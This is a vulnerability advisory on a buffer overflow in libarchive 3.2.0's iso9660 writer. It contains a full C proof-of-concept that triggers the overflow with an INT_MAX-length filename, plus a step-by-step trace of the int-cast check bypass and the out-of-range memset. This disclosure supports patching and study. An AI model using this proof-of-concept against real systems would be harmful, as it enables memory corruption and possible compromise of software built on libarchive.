======================================================================== libarchive 3.2.0: Buffer overflow when writing iso9660 containers. ======================================================================== Christian Wressnegger, Alwin Maier, and Fabian Yamaguchi Prerequisites: (1) The attacker controls filenames to be written to an iso9660 container and passed in as part of an `archive_entry` struct set by the `archive_entry_set_pathname` function. (2) libarchive has been compiled on systems where sizeof(intptr_t) larger than sizeof(int), e.g., 64 bit systems with the LP64 (Linux/BSD) or LLP64 (Windows) data model in order to allocate more than 3GB and 2GB per process respectively. If these conditions hold, an attacker can cause a buffer overflow on `archive_close` to be triggered in the function `write_directory_descriptors` of `archive_write_set_format_iso9660.c`. As all major linux distributions come with libarchive it might be worth patching. The following short program demonstrates the bug: We create an archive of format `iso9660` and specify two entries. First, a directory with a name consisting out of 33 characters and second, a filename with INT_MAX bytes in total (including the previously defined directory as part of the path). The actual content of the file to be written is not relevant. --- snip (iso9660.c) --- int my_exit(struct archive* a) { fprintf(stderr, "%s\n", archive_error_string(a)); return EXIT_FAILURE; } int main(int argc, const char **argv) { if (argc <= 1) { fprintf(stderr, "Provide a filename please\n"); return EXIT_FAILURE; } struct archive* a = archive_write_new(); archive_write_set_format_iso9660(a); int r = archive_write_open_filename(a, argv[1]); if (r != ARCHIVE_OK) { return my_exit(a); } const ssize_t dirname_len = (31 +2 +1) -1; char* dirname = malloc(dirname_len +1); if (dirname == NULL) { fprintf(stderr, "Unable to allocate enough memory for directory name"); return EXIT_FAILURE; } memset(dirname, 'A', dirname_len); dirname[dirname_len] = 0; struct archive_entry* dir = archive_entry_new(); archive_entry_set_pathname(dir, dirname); archive_entry_set_filetype(dir, AE_IFDIR); r = archive_write_header(a, dir); free(dirname); if (r != ARCHIVE_OK) { return my_exit(a); } const ssize_t filename_len = (size_t)INT_MAX; char* filename = malloc(filename_len +1); if (filename == NULL) { fprintf(stderr, "Unable to allocate enough memory for file name"); return EXIT_FAILURE; } memset(filename, 'A', filename_len); filename[dirname_len] = '/'; filename[filename_len] = '/'; struct archive_entry* entry = archive_entry_new(); archive_entry_set_pathname(entry, filename); archive_entry_set_filetype(entry, AE_IFREG); archive_entry_set_size(entry, filename_len); r = archive_write_header(a, entry); free(filename); if (r != ARCHIVE_OK) { return my_exit(a); } if (archive_write_data(a, "x", 1) != 1) { fprintf(stderr, "Unable to write entry\n"); } archive_write_close(a); archive_write_free(a); return EXIT_SUCCESS; } --- /snip --- In the following we address three aspects of the exploit: A. Bypassing the checks for large filenames based on an illegal cast from `size_t` to `int`, B. implications of provided large filename and C. the location of the actual buffer overflow. A. Getting through with large filenames ======================================= The first part of the attack is based on explicit casts from values of `size_t` to `int` and in principle, is also a problem on 32 bit architectures. In practice however, the process of getting to the vulnerable code requires more than 20GB of memory per process allocated along the way, which requires a 64 bit system. --- snip (stacktrace) --- main() at iso9660.c:90 archive_write_close() at archive_virtual.c:60 _archive_write_close() at archive_write.c:513 iso9660_close() at archive_write_set_format_iso9660.c:1,932 isoent_make_path_table() at archive_write_set_format_iso9660.c:7,026 isoent_traverse_tree() at archive_write_set_format_iso9660.c:6,567 isoent_gen_joliet_identifier() at archive_write_set_format_iso9660.c: --- /snip --- --- snip (archive_write_set_format_iso9660.c) --- /* * Generate Joliet Identifier. */ static int isoent_gen_joliet_identifier(struct archive_write *a, struct isoent *isoent, struct idr *idr) { //... for (np = isoent->children.first; np != NULL; np = np->chnext) { unsigned char *dot; int ext_off, noff, weight; size_t lt; if ((int)(l = np->file->basename_utf16.length) > ffmax) (A1) l = ffmax; p = malloc((l+1)*2); if (p == NULL) { archive_set_error(&a->archive, ENOMEM, "Can't allocate memory"); return (ARCHIVE_FATAL); } //... /* * Get a length of MBS of a full-pathname. */ if ((int)np->file->basename_utf16.length > ffmax) { (A2) if (archive_strncpy_l(&iso9660->mbs, (const char *)np->identifier, l, iso9660->sconv_from_utf16be) != 0 && errno == ENOMEM) { archive_set_error(&a->archive, errno, "No memory"); return (ARCHIVE_FATAL); } np->mb_len = (int)iso9660->mbs.length; if (np->mb_len != (int)np->file->basename.length) weight = np->mb_len; } else np->mb_len = (int)np->file->basename.length; /* If a length of full-pathname is longer than 240 bytes, * it violates Joliet extensions regulation. */ if (parent_len + np->mb_len > 240) { (A3) archive_set_error(&a->archive, ARCHIVE_ERRNO_MISC, "The regulation of Joliet extensions;" " A length of a full-pathname of `%s' is " "longer than 240 bytes, (p=%d, b=%d)", archive_entry_pathname(np->file->entry), (int)parent_len, (int)np->mb_len); return (ARCHIVE_FATAL); } /* Make an offset of the number which is used to be set * hexadecimal number to avoid duplicate identifier. */ if ((int)l == ffmax) noff = ext_off - 6; else if ((int)l == ffmax-2) noff = ext_off - 4; else if ((int)l == ffmax-4) noff = ext_off - 2; else noff = ext_off; /* Register entry to the identifier resolver. */ idr_register(idr, np, weight, noff); (A4) } // ... } --- /snip --- As filenames are additionally stored as utf16, the checks at (A1&2) require an ascii filename of (INT_MAX/2 +1) to be bypassed. For the condition at (A3) that checks the length of the multibyte-character representation an attacker however, has to provide (INT_MAX +1) bytes to alter the sign of the `int` value. At first, it appears that specifying a single large filename would be enough to bypass checks (A1-A3) however, due to an earlier allocation of the filename's length bytes in function `isoent_gen_iso9660_identifier` (A5) we cannot go beyond INT_MAX-(31+2+1) bytes. Otherwise the negative `int` value would be implicitly casted to `size_t` and `malloc` would fail due to memory limits. --- snip (archive_write_set_format_iso9660.c) --- /* * Generate ISO9660 Identifier. */ static int isoent_gen_iso9660_identifier(struct archive_write *a, struct isoent *isoent, struct idr *idr) { //... l = (int)np->file->basename.length; p = malloc(l+31+2+1); (A5) if (p == NULL) { archive_set_error(&a->archive, ENOMEM, "Can't allocate memory"); return (ARCHIVE_FATAL); } // ... } An attacker may work around this by allocating a directory of size 33 bytes and subsequently specify a name entry with a path length of INT_MAX. That way, the allocation in (A5) succeeds and also the check in (A3) is bypassed. B. Increasing record offsets beyond the expected limits ======================================================= The successful processing of overly long filename result in breaking assumptions made later on in the code. In this particular case, the processing and creation of data records such that their offsets exceed the logical block size. In the following we step through the problematic code in fucntion `set_directory_record_rr`. --- snip (stacktrace) --- main() at iso9660.c:90 archive_write_close() at archive_virtual.c:60 _archive_write_close() at archive_write.c:513 iso9660_close() at archive_write_set_format_iso9660.c:1,964 isoent_setup_directory_location() at archive_write_set_format_iso9660.c:5,357 calculate_directory_descriptors() at archive_write_set_format_iso9660.c:4,341 get_dir_rec_size() at archive_write_set_format_iso9660.c:3,590 set_directory_record() at archive_write_set_format_iso9660.c:3,553 set_directory_record_rr() at archive_write_set_format_iso9660.c:2,867 --- /snip --- --- snip (archive_write_set_format_iso9660.c) --- /* * Create the RRIP entries. */ static int set_directory_record_rr(unsigned char *bp, int dr_len, struct isoent *isoent, struct iso9660 *iso9660, enum dir_rec_type t) { //... bp = extra_open_record(bp, dr_len, isoent, &ctl); (B1) //... extra_tell_used_size(&ctl, length); (B2) /* Write "NM" System Use Entry. */ if (rr_flag & RR_USE_NM) { /* * "NM" Format: * e.g. a basename is 'foo' * len ver flg * +----+----+----+----+----+----+----+----+ * | 'N'| 'M'| 08 | 01 | 00 | 'f'| 'o'| 'o'| * +----+----+----+----+----+----+----+----+ * <----------------- len -----------------> */ size_t nmlen = file->basename.length; (B3) const char *nm = file->basename.s; size_t nmmax; if (extra_space(&ctl) < 6) bp = extra_next_record(&ctl, 6); if (bp != NULL) { bp[1] = 'N'; bp[2] = 'M'; bp[4] = 1; /* version */ } nmmax = extra_space(&ctl); if (nmmax > 0xff) (B4) nmmax = 0xff; while (nmlen + 5 > nmmax) { (B5) length = (int)nmmax; if (bp != NULL) { bp[3] = length; bp[5] = 0x01;/* Alternate Name continues * in next "NM" field */ memcpy(bp+6, nm, length - 5); bp += length; } nmlen -= length - 5; nm += length - 5; extra_tell_used_size(&ctl, length); (B6) if (extra_space(&ctl) < 6) { bp = extra_next_record(&ctl, 6); (B7) nmmax = extra_space(&ctl); if (nmmax > 0xff) nmmax = 0xff; (B8) } if (bp != NULL) { bp[1] = 'N'; bp[2] = 'M'; bp[4] = 1; /* version */ } } length = 5 + (int)nmlen; if (bp != NULL) { bp[3] = length; bp[5] = 0; memcpy(bp+6, nm, nmlen); bp += length; } extra_tell_used_size(&ctl, length); } //... } --- /snip --- (B1) set limit = 226 & cur_len = 44 (cf. below) -> extra_space = 182 (B2) 5 bytes written -> extra_space = 177 // cur_len = 49 (B3) nmlen = 0x7fffffdd (B4) nmmax = 177 (B5) nmlen = 0x7fffffdd; nmmax = 177 (B6) use up everything -> extra_space = 0 // cur_len = 226 (B7) new record: - close record: dr_len = cur_len = 254 - get (new) record: cur_len = 0; limit = 2020 -> extra_space = 2020 extra_get_record() at archive_write_set_format_iso9660.c:2,726 *space = LOGICAL_BLOCK_SIZE - rec->offset - DR_SAFETY; = 2048 - 0 - 28 = 2020 (B8) Cap to 0xFF/255 bytes (B5) nmlen = 0x7fffff31; nmmax = 255 (B6) use up 255 bytes -> extra_space = 1765 // cur_len = 255 (B5) nmlen = 0x7ffffe37; nmmax = 255 (B6) use up 255 bytes -> extra_space = 1510 // cur_len = 510 (B5) nmlen = 0x7ffffd3d; nmmax = 255 (B6) use up 255 bytes -> extra_space = 1255 // cur_len = 765 ... (B5) nmlen = 0x7ffff85b; nmmax = 255 (B6) use up 255 bytes -> extra_space = -1 // cur_len = 2040 (B7) new record: - close record: dr_len = 254; cur_len = 2068 At this point the current record's offset is at 2068 as well, which is abov the logical block size of 2048 bytes. - get (new) record: cur_len = 0; limit = 2020 -> extra_space = 2020 (B8) Cap to 0xFF/255 bytes This repeats until all INT_MAX bytes are processed. Consequently all subsequent records end up with an offset of 2068. Later on, when finishing up the archive during writing directory descriptors, memory is written based on these offsets. C. The overflow =============== On `archive_close` the previously created records are written to disk and---as mentioned earlier---this happens based on the records' offsets. --- snip (stacktrace) --- main() at iso9660.c:90 archive_write_close() at archive_virtual.c:60 _archive_write_close() at archive_write.c:513 iso9660_close() at archive_write_set_format_iso9660.c:2,070 write_directory_descriptors() at archive_write_set_format_iso9660.c:4,432 --- /snip --- --- snip (archive_write_set_format_iso9660.c) --- static int write_directory_descriptors(struct archive_write *a, struct vdd *vdd) { struct isoent *np; int depth, r; depth = 0; np = vdd->rootent; do { struct extr_rec *extr; r = _write_directory_descriptors(a, vdd, np, depth); if (r < 0) return (r); if (vdd->vdd_type != VDD_JOLIET) { /* * This extract record is used by SUSP,RRIP. * Not for joliet. */ for (extr = np->extr_rec_list.first; extr != NULL; extr = extr->next) { unsigned char *wb; wb = wb_buffptr(a); memcpy(wb, extr->buf, extr->offset); memset(wb + extr->offset, 0, LOGICAL_BLOCK_SIZE - extr->offset); (C1) r = wb_consume(a, LOGICAL_BLOCK_SIZE); if (r < 0) return (r); } } //... } --- /snip --- At (C1) a record's offset is substracted from the logical block size (LOGICAL_BLOCK_SIZE = 2048) which yields the negativ number -20 that in turn is implicitly casted to `size_t` when passed to `memset` function and causes an overflow of buffer `wb`.